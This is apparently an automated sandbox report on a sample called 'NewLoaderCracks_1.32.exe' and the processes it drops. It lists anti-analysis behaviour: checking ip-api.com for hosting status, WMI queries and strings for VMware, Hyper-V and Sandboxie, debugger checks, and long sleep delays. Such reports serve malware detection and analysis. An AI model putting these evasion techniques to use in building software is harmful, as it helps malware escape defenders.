Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\comcontainer\SurrogateRef.exe	Memory allocated: 8B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Memory allocated: 1A390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Memory allocated: 2E60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Memory allocated: 1B080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Memory allocated: 1B080000 memory reserve \| memory write watch	Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599670	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599559	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598615	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598394	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598137	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597811	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597685	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597168	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597051	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595839	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595714	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595580	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595435	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595311	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595179	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595054	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594907	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594782	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594668	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594395	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594146	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594013	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593889	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593761	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593401	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593271	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593111	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592981	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592861	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592731	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592609	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592500	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592397	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592268	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592144	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592014	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591912	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591788	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591641	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591526	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591389	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591267	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591146	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591005	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 590864	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe	Window / User API: threadDelayed 4857	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Window / User API: threadDelayed 4177	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Window / User API: threadDelayed 374	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Window / User API: threadDelayed 367	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-22977

Source: C:\comcontainer\SurrogateRef.exe TID: 368	Thread sleep count: 4857 > 30	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 368	Thread sleep count: 4177 > 30	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 2912	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -599670s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -599559s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -599420s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598968s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598615s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598394s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598137s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -598030s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597811s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597685s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597281s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597168s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -597051s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -596812s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595839s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595714s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595580s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595435s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595311s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595179s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -595054s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594907s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594782s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594668s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594508s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594395s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594266s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594146s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -594013s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -593889s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -593761s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -593401s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -593271s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -593111s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592981s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592861s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592731s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592609s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592500s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592397s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592268s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592144s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -592014s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591912s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591788s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591641s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591526s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591389s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591267s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591146s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -591005s >= -30000s	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe TID: 5140	Thread sleep time: -590864s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe TID: 6520	Thread sleep count: 374 > 30	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe TID: 6764	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe TID: 6844	Thread sleep count: 367 > 30	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe TID: 3384	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\comcontainer\SurrogateRef.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\comcontainer\SurrogateRef.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0054A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0054A5F4
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0055B8E0
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056AAA8 FindFirstFileExA,	0_2_0056AAA8

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0055DD72 VirtualQuery,GetSystemInfo,

0_2_0055DD72

Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599670	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599559	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 599420	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598968	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598615	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598394	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598137	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597811	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597685	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597168	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 597051	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595839	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595714	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595580	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595435	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595311	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595179	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 595054	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594907	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594782	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594668	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594395	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594146	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 594013	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593889	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593761	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593401	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593271	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 593111	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592981	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592861	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592731	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592609	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592500	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592397	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592268	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592144	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 592014	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591912	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591788	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591641	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591526	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591389	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591267	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591146	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 591005	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Thread delayed: delay time: 590864	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: hyper-v video
Source: SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: wscript.exe, 00000002.00000002.2258849907.000000000093F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}j{
Source: SurrogateRef.exe, 00000005.00000002.2483734240.000000001C252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: SurrogateRef.exe, 00000005.00000002.2483734240.000000001C252000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}^
Source: NewLoaderCracks_1.32.exe, 00000000.00000003.2151665836.0000000002EA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Z\|
Source: SurrogateRef.exe, 00000005.00000002.2480152172.000000001B2D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

API call chain: ExitProcess graph end node

graph_0-23320

Source: C:\comcontainer\SurrogateRef.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\comcontainer\SurrogateRef.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0056866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0056866F

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0056753D mov eax, dword ptr fs:[00000030h]

0_2_0056753D

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0056B710 GetProcessHeap,

0_2_0056B710

Source: C:\comcontainer\SurrogateRef.exe	Process token adjusted: Debug	Jump to behavior
